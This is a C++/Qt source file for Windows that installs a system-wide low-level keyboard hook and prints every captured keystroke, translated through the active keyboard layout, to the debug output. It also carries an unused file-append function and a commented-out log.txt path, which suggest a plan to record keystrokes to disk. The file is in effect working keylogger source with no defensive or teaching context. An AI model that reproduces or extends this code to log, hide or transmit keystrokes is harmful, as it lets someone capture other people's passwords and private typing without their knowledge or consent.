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#include <QCoreApplication>
#include <QDebug>
#include <QTime>
#include <QChar>
#include <QFile>
#include <QString>
#include <Windows.h>
#include <QTextStream>
#pragma comment(lib,"user32.lib")
HHOOK hHook = NULL;
using namespace std;
void Write(QString Filename, QString s)
{
QFile mFile(Filename);
if(!mFile.open(QFile::WriteOnly | QIODevice::Text | QIODevice::Append))
{
//error
}
QTextStream out(&mFile);
out << s ;
mFile.flush();
mFile.close();
}
void UpdateKeyState(BYTE *keystate, int keycode)
{
keystate[keycode] = GetKeyState(keycode);
}
bool shift = false;
LRESULT CALLBACK MyLowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//QString mFilename = "C:/Users/example/Desktop/log.txt";
//WPARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN or WM_SYSKEYUP
//LPARAM is the key information
// if( wParam == WM_KEYDOWN )
//qDebug() << "Key Pressed!";
//Get the key information
//KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
KBDLLHOOKSTRUCT * pKeyboardStruct = (KBDLLHOOKSTRUCT *)lParam;
wchar_t buffer[16];
//get the keyboard state
BYTE keyboard_state[256];
GetKeyboardState(keyboard_state);
UpdateKeyState(keyboard_state, VK_SHIFT);
UpdateKeyState(keyboard_state, VK_CAPITAL);
UpdateKeyState(keyboard_state, VK_CONTROL);
UpdateKeyState(keyboard_state, VK_MENU);
//Get Keyboard Layout languages!!
HKL keyboard_layout = GetKeyboardLayout(0);
//Get the name
char lpszName[0x100] = {0};
DWORD dwMsg = 1;
dwMsg += pKeyboardStruct->scanCode << 16;
dwMsg += pKeyboardStruct->flags << 24;
QString i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
//try to convert the key info
int result = ToUnicodeEx(pKeyboardStruct->vkCode, pKeyboardStruct->scanCode, keyboard_state, buffer,16,0,keyboard_layout);
buffer[4] = L'\0';
// ascii, key
qDebug() << "key:" << pKeyboardStruct->vkCode << "" << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
// Print the output
QString s = QString::fromUtf16((ushort*)buffer);
qDebug() << s;
// convertir QString a char
//char myChar = s[0].toLatin1();
//convertir a Qchar o char a partir de QString
//QString cadena = "Hola";
//std::string cadenaStd = cadena.toStdString();
//Qchar c = cadenaStd[0];
//SYSKEYDOWN , con esto si funciona el alt pero no hace falta
std::string cadenaStd = s.toStdString();
QChar c = cadenaStd[0];
//letters down
if(wParam == WM_KEYDOWN){
// for the Shift-Key
//the fundamental keys
switch (pKeyboardStruct->vkCode)
{
// Number keys
case 0xBE: qDebug() << ".";break;
case 0x31: qDebug() << "1";break;
case 0x32: qDebug() << "2";break;
case 0x33: qDebug() << "3";break;
case 0x34: qDebug() << "4";break;
case 0x35: qDebug() << "5";break;
case 0x36: qDebug() << "6";break;
case 0x37: qDebug() << "7";break;
case 0x38: qDebug() << "8";break;
case 0x39: qDebug() << "9";break;
//Numpad keys
case 0x60: qDebug() << "0";break;
case 0x61: qDebug() << "1";break;
case 0x62: qDebug() << "2";break;
case 0x63: qDebug() << "3";break;
case 0x64: qDebug() << "4";break;
case 0x65: qDebug() << "5";break;
case 0x66: qDebug() << "6";break;
case 0x67: qDebug() << "7";break;
case 0x68: qDebug() << "8";break;
case 0x69: qDebug() << "9";break;
//Character keys
case 0x41: qDebug() << "a";break;
case 0x42: qDebug() << "b";break;
case 0x43: qDebug() << "c";break;
case 0x44: qDebug() << "d";break;
case 0x45: qDebug() << "e";break;
case 0x46: qDebug() << "f";break;
case 0x47: qDebug() << "g";break;
case 0x48: qDebug() << "h";break;
case 0x49: qDebug() << "i";break;
case 0x4A: qDebug() << "j";break;
case 0x4B: qDebug() << "k";break;
case 0x4C: qDebug() << "l";break;
case 0x4D: qDebug() << "m";break;
case 0x4E: qDebug() << "n";break;
case 0x4F: qDebug() << "o";break;
case 0x50: qDebug() << "p";break;
case 0x51: qDebug() << "q";break;
case 0x52: qDebug() << "r";break;
case 0x53: qDebug() << "s";break;
case 0x54: qDebug() << "t";break;
case 0x55: qDebug() << "u";break;
case 0x56: qDebug() << "v";break;
case 0x57: qDebug() << "w";break;
case 0x58: qDebug() << "x";break;
case 0x59: qDebug() << "y";break;
case 0x5A: qDebug() << "z";break;
case VK_RETURN: qDebug() << "";break;
case VK_BACK: qDebug() << "*";break;
case VK_DELETE: qDebug() << "*";break;
default: qDebug() << s;break;
}
//unicode
}else if(wParam == WM_KEYUP){
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL,0);
if(hHook == NULL){
qDebug() << "error";
}
/*
if(!ap.exists()){
qDebug() << "El archivo seleccionado no existe";
return 1;
}
ap.open(QIODevice::WriteOnly | QIODevice::Text);
if (!ap.isOpen()){
qDebug() << "El archivo no se ha podido abrir";
return 2;
}
//contenido = ap.readAll();
ap.write(contenido);
ap.flush();
ap.close();
*/
return a.exec();
}
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